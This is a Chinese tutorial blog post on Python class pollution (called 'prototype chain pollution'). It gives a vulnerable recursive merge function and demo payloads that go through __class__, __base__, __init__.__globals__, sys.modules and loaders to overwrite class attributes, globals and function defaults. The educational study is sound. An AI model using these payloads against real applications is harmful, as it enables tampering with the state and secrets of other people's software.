python原型链污染

Yolo / 2024-07-11 / 原文

python原型链污染

原型链污染

  • python中,对象的属性和方法可以通过原型链来继承和获取
  • 每一个对象都有一个原型,定义了其可以访问的属性和方法,所以可以通过修改原型链中的属性来利用漏洞攻击
  • 当对象访问属性或方法时,会先对自身进行查找,找不到就一次往上级查找
  • 只能污染类的属性,不能污染类的方法

污染条件

merge合并函数,用merge函数来修改父类函数

原型链污染

def merge(src, dst):  #src为原字典,dst为目标字典
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):  #键值对字典形式
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k)) 
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict: 
            merge(v, getattr(dst, k))  #递归到最终的父类
        else:
            setattr(dst, k, v)

合并过程,先判断dst目标字典是否为字典形式

是字典形式

  • 如果是字典形式,k存在,且值为字典,合并嵌套字典
  • 如果是字典形式,k不存在,或值不是字典,将键值对 (k, v) 添加到 dst

如果dst并不是字典是类

  • 类的形式,存在属性k且为字典,合并字典
  • 类的形式,不存在属性k,或者k值不是字典,dst将添加k,设置值为v
分析
class father:
    secret = "hello"

class son_a(father):
    pass

class son_b(father):
    pass

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)


instance = son_b()
payload = {
    "__class__": {
        "__base__": {
            "secret": "world"
        }
    }
}
print(son_a.secret)
print(instance.secret)
merge(payload, instance)
print(son_a.secret)
print(instance.secret)

image-20240710165425278

merge(payload, instance)payload为原字典,instance为目标字典

instance是对象类型,则判断语句为

elif hasattr(dst, k) and type(v) == dict:
    merge(v, getattr(dst, k))
  • 第一次递归:执行语句 merge(v, getattr(dst, k))

因为instance=son_b,所以当instance与__class__合并时,其属性就变成了instance对象所属的类son_b

  • 第二次递归:执行语句 merge(v, getattr(dst, k))

接着与 __base__合并,属性就变成了son_b所属类的父类father

  • 第三次递归:执行语句为 type(v) == dict结果为FALSE,因为 v=world不是字典型,递归结束,执行语句 setattr(dst, k, v)。此时father的属性被重置为 world

__base__继承关系获取目标类

如果我们想要污染的目标类 和 作为切入点的类,两者没有父子继承关系,就无法使用 __base__

获取全局变量

__init__,__globals__

__init__初始化方法,类的内置方法

__globals__返回字典,包含该函数所在模块的全局变量

image-20240710201044949

返回True,代表demo.__globals__globals() 以及 A.__init__.__globals__ 三者相等

  • demo.__globals__demo函数的全局命名空间,因为德莫实在全局命名空间时定义的,所以 demo.__globals__ 等于 全局命名空间 globals()
  • A.__init__.__globals__是类A.__init__的全局命名空间 = globals()
#demo.py
a = 1

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)


def demo():
    pass


class A:
    def __init__(self):
        pass


class B:
    classa = 2


instance = A()
payload = {
    "__init__": {
        "__globals__": {
            "a": 4,
            "B": {
                "classa": 5
            }
        }
    }
}
print(B.classa)
print(a)
merge(payload, instance)
print(B.classa)
print(a)

image-20240710202924509

获取其他模块

以上实例是基于,操作对象或者类是在入口文件当中,如果目标对象不在入口文件中,需对其他啊记载过的模块进行获取

import模块加载获取

通过payload模块重新定位加载

image-20240710211347150

sys模块加载获取

引用sys模块下的module属性,这个属性能够加载出来在自运行开始所有已加载的模块,从而我们能够从属性中获取到我们想要污染的目标模块

同样用其加载demo.py

image-20240710211329951

注:在使用payload传参时,需要在有源码的基础上传参

加载器loader获取

通过 loader.__init__.__globals__['sys']来获取sys模块

(loader加载器的作用是实现模块加载,在内置模块importlib中具体实现,而importlib模块下所有的py文件中均引入了sys模块)

image-20240710212814103

math模块的__loader__属性包含了一个loader对象,负责加载math模块

  • 在python中还存在一个__spec__,包含了关于类加载时候的信息,他定义在Lib/importlib/_bootstrap.py的类ModuleSpec,所以可以直接采用<模块名>.__spec__.__init__.__globals__['sys']获取到sys模块

函数形参默认值替换

__defaults__元组,储存函数或方法的默认参数值,定义函数时,可为其参数指定默认值

image-20240710213640756